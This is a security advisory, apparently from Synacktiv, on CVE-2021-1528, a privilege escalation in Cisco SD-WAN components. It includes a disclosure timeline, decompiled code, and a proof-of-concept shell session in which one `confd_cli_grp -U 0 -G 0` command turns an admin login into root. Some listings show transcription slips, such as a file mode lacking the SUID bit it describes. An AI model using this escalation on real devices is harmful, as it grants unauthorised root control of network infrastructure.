Privilege escalation in Cisco vManage, vSmart and vEdge/vBond

Security advisory
2021/06/10

Julien Legras
**Vulnerabilities description**

**Cisco SD-WAN**

SD-WAN is a software-defined approach to managing the wide-area network, or WAN.

The Cisco SD-WAN fabric is based on the Viptela solution, which has four main components. Each of these components has a very specific role:

- `vManage` – Management Dashboard.
- `vEdge` – The edge router at branches.
- `vBond` – The Orchestrator.
- `vSmart` – The Controller.

**The issues**

Synacktiv identified a privilege escalation in `vManage`, `vSmart` and `vEdge/vBond` because of a SUID binary allowing to execute arbitrary programs as root.

**Affected versions**

Only the 20.4 and 20.5 versions are affected by this issue.

**Timeline**

<table>
<thead>
<tr>
<th>Date</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>2021/02/24</td>
<td>Vulnerabilities details sent to <a href="mailto:psirt@cisco.com">psirt@cisco.com</a></td>
</tr>
<tr>
<td>2021/02/25</td>
<td>Reply from Cisco</td>
</tr>
<tr>
<td>2021/03/02</td>
<td>Agreed on 90 days before disclosure</td>
</tr>
<tr>
<td>2021/04/14</td>
<td>Cisco sent CVE ID:</td>
</tr>
<tr>
<td></td>
<td>• CVE-2021-1528</td>
</tr>
<tr>
<td>2021/06/02</td>
<td>Security advisory released and new versions 20.4.2 and 20.5.1 published by Cisco.</td>
</tr>
</tbody>
</table>
Technical descriptions and proofs-of-concept

Dangerous SUID binary

In vManage, vSmart and vEdge/vBond components, the default command interpreter is set to /usr/sbin/viptela_cli. By studying the program, one can see that if the ConfD server is not available, viptela_cli will spawn /usr/bin/confd_cli_grp with no arguments:

```
confd_status = get_confd_status();
if (confd_status == 0)
    syslog(3, "ks[kd]: Confd missing. Starting bash.", "main", 3264);
else
    exit_shell();

execvp("/usr/bin/confd_cli_grp", empty_argv);
```

But this program has the SUID bit:

```
vsmart:~$ ls -l /usr/bin/confd_cli_grp
-rwxr-xr-x 1 root root 82088 déc. 18 08:58 /usr/bin/confd_cli_grp
```

It is actually very similar to /usr/bin/confd_cli and accepts arguments to specify the UID and Gid we want:

```
vsmart:~$ /usr/bin/confd_cli_grp -h
Usage: /usr/bin/confd_cli_grp [options] [file]
Options:
  -h, --help          display this help
  -H, --host <host>   current host name (used in prompt)
  -A, --address <addr> cli address to connect to
  -P, --port <port>   cli port to connect to
  -c, --cwd <dir>     current working directory
  -p, --proto <proto> type of connection (tcp, ssh, console)
  -v, --verbose       verbose output
  -i, --ip            clients source ip[/port]
  -n, --interactive   force interactive mode
  -E, --escape-char=<C> brute force shutdown when user enters ASCII C
  -r, --old-raw       use raw tty processing for tty sessions
  -N, --noninteractive force noninteractive mode
  -T, --ttyname <name> tty name
  -t, --terminal <name> terminal name
  -J, --juniper       Juniper style CLI
  -C, --cisco-xr      Cisco XR style CLI
  -I, --cisco-ios     Cisco IOS style CLI
  -u, --user <user>   clients user name
  -U, --uid <uid>     clients user id
  -g, --groups <groups> clients group list
  -G, --gid <gid>     clients group id list
  -D, --gids <gids>   clients group id list
  -O, --opaque <opaque> pass opaque info
  -s, --stop-on-error stop on error
```

Although `confd_cli` requires to know the IPC secret value, `confd_cli_grp` will just read the value for us:

```c
1 int cdecl confd_ipc_access_get_secret(unsigned __int8 *result, int rsize)
2 {
3  int v2; // eax
4  int *v3; // eax
5  char *v4; // rax
6  int *v5; // rax
7  char *v6; // rdx
8  int n; // [rsp+14h] [rbp-1Ch]
9  const char *filename; // [rsp+10h] [rbp-18h]
10  FILE *fp; // [rsp+20h] [rbp-18h]
11
12  filename = getenv("CONFD IPC ACCESS FILE");
13  if (!filename) {
14    filename = getenv("NCIP IPC ACCESS_FILE");
15    if (!filename) return 0;
16  }
17  fp = fopen(filename, "r");
18  if (fp) {
19    n = fread(result, 1ull, rsize - 1, fp);
20    if (n)
21      fclose(fp);
22    result[n] = 0;
23    v2 = 1;
24  }
25}
```

As the program is SUID, it actually can read the protected file `/etc/confd/confd_ipc_secret` that allows interacting with the ConfD service as we have full permissions:

```
ssh admin@192.168.1.200
viptela 20.4.1
Password:
Last login: Tue Feb 23 17:43:27 UTC 2021 from 192.168.1.1 on pts/0
Welcome to Viptela CLI
admin connected from 192.168.1.1 using ssh on vsmart
vsmart# vshell
vsmart:--$ /usr/bin/confd_cli_grp -U 0 -G 0
Welcome to Viptela CLI
admin connected from 127.0.0.1 using console on vsmart
vsmart# vshell
vsmart:--# id
uid=0(root) gid=0(root) groups=0(root),302(log),1000(admin)
```